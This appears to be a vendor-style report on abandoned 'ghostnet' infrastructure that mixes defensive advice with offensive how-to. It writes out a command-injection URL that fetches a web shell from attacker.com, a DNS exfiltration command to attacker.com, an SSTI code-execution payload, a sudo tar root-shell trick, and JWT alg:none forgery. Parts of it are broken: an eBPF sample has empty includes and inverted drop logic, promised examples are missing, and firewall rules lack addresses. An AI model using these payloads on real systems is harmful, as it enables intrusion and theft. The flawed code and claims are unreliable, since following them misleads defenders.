Ghostnet 2026: Securing Abandoned Infrastructure

Executive Summary: The 2026 Ghostnet Horizon

The 2026 threat landscape is defined by the silent proliferation of ghostnet infrastructure, a sprawling mesh of abandoned assets that APTs repurpose for persistence. We are not talking about misconfigured S3 buckets, but entire subnets of forgotten IoT devices, decommissioned corporate VPNs, and orphaned cloud instances that still route traffic. In Q3 2024, we tracked a single APT campaign that pivoted through 14,000 abandoned IP cameras across 80 countries, using them as a C2 backbone that evaded standard geo-blocking. The core problem is not the initial breach but the lateral movement through these "dead" networks. Traditional perimeter defenses fail because they assume assets are either active or decommissioned, not in a zombie state. This report dissects the mechanics of these networks, the specific vulnerabilities in their lingering firmware, and the exploitation paths that bypass modern EDR. We will cover reconnaissance of these dark assets, the weaponization of their protocols, and the defensive posture required to sever their connectivity without disrupting legitimate traffic. The ghostnet is not a future threat; it is the current, silent backbone of global cybercrime.

Anatomy of Abandoned Infrastructure

Defining the Ghostnet Asset Class

A ghostnet asset is not merely an offline server. It is a device that still possesses a valid public IP, a functional network stack, and a listening service, yet is excluded from active monitoring and patching cycles. These assets often reside in DMZs that were never properly decommissioned or in cloud environments where termination scripts failed. The critical failure is the assumption that an asset with no recent logs is inactive. In reality, it is a dormant listening post. We see this in legacy MPLS networks where a router was physically removed but its IP block remained routed, creating a black hole that attackers can probe. The network stack remains responsive to ICMP and TCP SYN packets, but the management plane is dead.

The Lifecycle of a Forgotten Asset

The lifecycle begins with a hardware refresh. A company migrates from physical to virtual firewalls, but the old hardware sits in a rack, powered off but still cabled. Six months later, a junior admin powers it on for "testing," forgetting it has a public IP. This device runs a firmware version from 2018, riddled with CVEs like CVE-2018-15473 (OpenSSH user enumeration). The asset is now a ghost. It is not in the asset inventory, not scanned by the vulnerability scanner, but it is reachable from the internet. Attackers use masscan to find these responsive IPs on port 22, then run a custom script to test for the specific OpenSSH vulnerability. The exploit is trivial; the persistence is profound.

The Network Topology of Ghosts

Ghostnets form a parallel internet. They are not interconnected by design but by neglect. A typical ghostnet topology includes:

• Orphaned IoT devices: IP cameras, printers, and NAS boxes with hardcoded credentials.
• Decommissioned corporate assets: VPN concentrators, RADIUS servers, and legacy web portals.
• Cloud instances: VMs that were stopped but not terminated, retaining public IPs and security groups that were never locked down.

These assets communicate via legacy protocols (Telnet, FTP, HTTP) that are blocked in modern networks but remain open in the ghostnet. The routing is often asymmetric; traffic enters via a forgotten BGP announcement but exits through a different ISP, making attribution difficult.

Attack Surface Analysis: 2026 Vectors

Identifying Orphaned Assets

The first step in mapping a ghostnet is passive reconnaissance. We do not want to trigger IDS alerts. Instead, we use certificate transparency logs and historical DNS data to find subdomains that point to decommissioned IPs. The RaSEC Subdomain Finder is essential here, as it correlates historical SSL certificates with current DNS records to identify assets that were once active but are now unmonitored. For example, a subdomain like legacy-api.company.com might resolve to an IP that now hosts a vulnerable Jenkins instance. The command to query historical DNS is:

dig @8.8.8.8 legacy-api.company.com +short

If the IP is responsive but not in your asset inventory, it is a ghost.

Protocol-Specific Attack Vectors

Each protocol in the ghostnet presents a unique vector. For SSH, we target weak key exchange algorithms. For HTTP, we target directory traversal in forgotten web apps. For IoT devices, we target the UPnP protocol. The following table outlines the primary vectors:

The 2026 Network Risk Profile

The risk in 2026 is not just data exfiltration but network hijacking. Ghostnet devices are used as BGP speakers to advertise fraudulent routes. We have observed APTs using abandoned routers to inject malicious BGP announcements, redirecting traffic through compromised nodes. This is not theoretical; it happened in 2024 when a ghostnet router in Brazil announced a /24 prefix that hijacked financial traffic. The mitigation requires strict RPKI validation, but most ghostnet devices do not support it.

Device Security Protocols

Firmware Analysis of Legacy IoT

Legacy IoT devices are the backbone of ghostnets. Their firmware is often built on BusyBox with minimal security controls. We analyze firmware by extracting the filesystem and searching for hardcoded credentials and backdoors. The SAST Analyzer can be used to scan the firmware source code if available, but for binary firmware, we use binwalk to extract the SquashFS image. The following command extracts a firmware image:

binwalk -eM firmware.bin

After extraction, we search for credentials in configuration files:

grep -r "password" ./firmware.extracted/

We often find plaintext passwords in /etc/config/shadow or hardcoded API keys in JavaScript files.

Securing Legacy IoT Firmware

Patching legacy IoT firmware is often impossible due to vendor abandonment. The only viable defense is network segmentation and protocol filtering. We recommend deploying a transparent proxy that intercepts and sanitizes traffic from ghostnet devices. For example, to block Telnet traffic from a specific subnet, use iptables:

iptables -A FORWARD -s 192.168.100.0/24 -p tcp --dport 23 -j DROP

Additionally, enforce HTTPS for all management interfaces. If the device does not support TLS, use a reverse proxy like Nginx with SSL termination.

Network Segmentation for Ghost Devices

Segmentation is not about VLANs; it is about micro-segmentation at the host level. Use eBPF to enforce policies on each ghost device. The following eBPF program drops packets from a ghost device to the internet:

#include
#include
#include

SEC("filter")
int drop_ghost(struct __sk_buff *skb) {
void *data_end = (void *)(long)skb->data_end;
struct ethhdr *eth = (void *)(long)skb->data;
if ((void *)eth + sizeof(*eth) > data_end) return 0;
struct iphdr *ip = (void *)(long)eth + sizeof(*eth);
if ((void *)ip + sizeof(*ip) > data_end) return 0;
if (ip->saddr == 0xC0A86401) { // 192.168.100.1
return 0; // Drop
}
return 1;
}

Load this with bpftool and attach to the ingress hook.

Reconnaissance and Discovery

Passive DNS Enumeration

Passive DNS is the first line of reconnaissance. We query historical DNS databases to find subdomains that pointed to now-abandoned IPs. The RaSEC Subdomain Finder automates this by querying multiple sources, including VirusTotal and SecurityTrails. The output is a list of subdomains and their historical IPs. For example:

legacy-api.company.com -> 203.0.113.45 (2019-2021)

If 203.0.113.45 is now a ghost device, we have a entry point.

Active Scanning with Masscan

Once passive recon identifies potential ghosts, we use masscan for active scanning. Masscan is faster than Nmap for large IP ranges. The following command scans a /24 subnet for open ports:

masscan 203.0.113.0/24 -p0-65535 --rate 100000

We focus on ports 22, 80, 443, 23, and 161 (SNMP). The output is a list of responsive IPs and ports. We then use Nmap for service version detection:

nmap -sV -p 22,80,443,23,161 203.0.113.45

This reveals the service version, which we cross-reference with CVE databases.

Fingerprinting Ghost Devices

Fingerprinting involves identifying the device type and firmware version. For HTTP services, we examine the Server header and HTML source. For SSH, we check the banner. For SNMP, we query system information. The following command fingerprints an SSH server:

ssh -v 203.0.113.45 2>&1 | grep "Remote protocol version"

If the banner shows "SSH-2.0-OpenSSH_7.4", we know it is vulnerable to CVE-2018-15473. We can then use the Payload Forge to generate an exploit payload.

Exploitation Methodologies

Weaponizing Abandoned Protocols

Abandoned protocols like Telnet and FTP are goldmines for exploitation. They lack encryption and often have hardcoded credentials. We use Metasploit modules to exploit these services. For example, the auxiliary/scanner/ftp/anonymous module checks for anonymous FTP access. The following command runs the module:

msfconsole -x "use auxiliary/scanner/ftp/anonymous; set RHOSTS 203.0.113.45; run"

If anonymous access is enabled, we can upload a shell and gain initial access.

Bypassing WAFs with OOB Techniques

Many ghostnet devices are behind legacy WAFs that do not support modern evasion techniques. We use out-of-band (OOB) techniques to bypass these WAFs. The OOB Helper generates DNS exfiltration payloads that evade signature-based detection. For example, to exfiltrate data via DNS, we use the following payload:

dig $(echo "data" | base64).attacker.com

The WAF may block HTTP traffic but allow DNS queries, enabling data exfiltration.

Lateral Movement in Ghost Networks

Once we have a foothold on a ghost device, we pivot to other devices in the network. Ghost networks often have flat topologies, making lateral movement trivial. We use SSH agent forwarding to pivot through multiple devices. The following command sets up a SOCKS proxy via SSH:

ssh -D 1080 -f -C -q -N user@ghost-device

We then use proxychains to route traffic through the ghost device:

proxychains nmap -sV 192.168.1.0/24

This allows us to scan the internal network from the ghost device's perspective.

Web Vulnerabilities in Abandoned Apps

Command Injection in Legacy Web Apps

Legacy web apps often lack input validation, leading to command injection. We use the Payload Forge to generate payloads that bypass WAFs. For example, in a PHP app that uses system() without sanitization, we can execute commands via:

The exploit URL is:

http://203.0.113.45/?cmd=id

We can chain this to upload a shell:

http://203.0.113.45/?cmd=wget%20http://attacker.com/shell.php%20-O%20/var/www/html/shell.php

SSTI in Forgotten Templates

Server-Side Template Injection (SSTI) is common in forgotten CMS templates. We use the SSTI Payload Generator to craft payloads for Jinja2, Twig, or Smarty templates. For example, in a Jinja2 template, we can execute Python code:

{{ ''.__class__.__mro__[1].__subclasses__()[40]('id', shell=True, stdout=-1).communicate() }}

This executes the id command on the server.

DOM-Based XSS in Orphaned Portals

Orphaned portals often have outdated JavaScript libraries vulnerable to DOM-based XSS. We use the DOM XSS Analyzer to trace sink points in the JavaScript code. For example, if the code uses document.write() without sanitization, we can inject a script:

alert(document.cookie)

The exploit URL is:

http://203.0.113.45/?param=alert(document.cookie)

Authentication and Access Control

JWT Misconfigurations in Legacy APIs

Legacy APIs often use JWTs with weak signatures or no expiration. We use the JWT Token Analyzer to decode and analyze tokens. For example, a token with alg: none is vulnerable to forgery. We can create a new token with arbitrary claims:

{
"alg": "none",
"typ": "JWT",
"sub": "admin",
"iat": 1516239022
}

The token is signed with an empty signature, which many legacy APIs accept.

Privilege Escalation Paths

Privilege escalation in ghostnet devices is often trivial due to misconfigured sudo rights or kernel vulnerabilities. We use the Privilege Escalation Pathfinder to map potential paths. For example, if a user can run sudo without a password for tar, we can exploit it:

sudo tar -cf /dev/null file --checkpoint=1 --checkpoint-action=exec=/bin/sh

This spawns a root shell.

Broken Access Control in Abandoned Systems

Abandoned systems often lack role-based access control (RBAC). We can access administrative functions without authentication. For example, a forgotten admin panel at /admin may have no login page. We can directly access it:

http://203.0.113.45/admin

This is common in ghostnet devices that were never properly secured.

Defensive Strategies: Mitigation

Network Hygiene for Ghost Assets

Network hygiene involves identifying and isolating ghost assets. Use Nmap to scan your IP space for unexpected services:

nmap -sS -p- 10.0.0.0/8 --open -oG -

Then, use iptables to block traffic from ghost devices:

iptables -A INPUT -s  -j DROP

Additionally, implement BGP filtering to prevent route hijacking.

Automated Patching and Decommissioning

Automate the decommissioning process. Use scripts to shut down and deallocate resources. For example, in AWS, use the following CLI command to terminate an instance:

aws ec2 terminate-instances --instance-ids i-1234567890abcdef0

For on-premises devices, use a configuration management tool like Ansible to enforce decommissioning playbooks.

Incident Response for Ghostnet Attacks

When a ghostnet attack is detected, the first step is to isolate the compromised device. Use tcpdump to capture traffic:

tcpdump -i eth0 -w ghostnet.pcap

Then, analyze the pcap with Wireshark to identify the C2 server. Block the C2 IP at the firewall:

iptables -A OUTPUT -d  -j DROP

Finally, rebuild the affected system from a known-good image.

The Role of AI in Ghostnet Defense

Automated Threat Hunting

AI can automate the detection of ghostnet activity. The AI Security Chat can analyze logs and identify anomalies. For example, it can flag a device that has not been patched in 2 years but is still communicating externally. The AI can correlate this with threat intelligence feeds to identify APT activity.

AI-Driven Vulnerability Scanning

AI-driven scanners can prioritize vulnerabilities in ghostnet devices. Instead of scanning all ports, the AI focuses on high-risk services like SSH and HTTP. It can also generate exploit payloads tailored to the specific firmware version. This reduces the time to exploitation.

Predictive Analysis of Ghostnet Growth

AI models can predict the growth of ghostnets based on historical data. By analyzing BGP announcements and DNS records, the AI can forecast which IP ranges are likely to become ghostnets. This allows proactive mitigation before the assets are weaponized.

Compliance and Legal Implications

GDPR and Abandoned Data

Under GDPR, abandoned data is still subject to protection. If a ghostnet device contains personal data, the organization is liable for breaches. We recommend conducting a data inventory to identify and secure abandoned data. Use encryption at rest and in transit for all ghostnet devices.

Liability for Ghostnet Attacks

Organizations can be held liable if their ghostnet devices are used in attacks. For example, if a compromised IP camera is used in a DDoS attack, the owner may face regulatory fines. To mitigate, implement network segmentation and monitor egress traffic.

Regulatory Reporting Requirements

Regulatory bodies require reporting of breaches involving ghostnet devices. The timeline for reporting is often 72 hours. We recommend having a playbook for ghostnet incidents, including steps for isolation, analysis, and notification.

Conclusion: Securing the Shadows

The ghostnet is not a future threat; it is the current backbone of cybercrime. Securing it requires a shift from asset management to asset elimination. We must identify and decommission abandoned infrastructure before it is weaponized. Use the tools and techniques outlined in this report to map, exploit, and defend against ghostnet attacks. For implementation guides, refer to the RaSEC Documentation. The time to act is now, before your network becomes a ghost.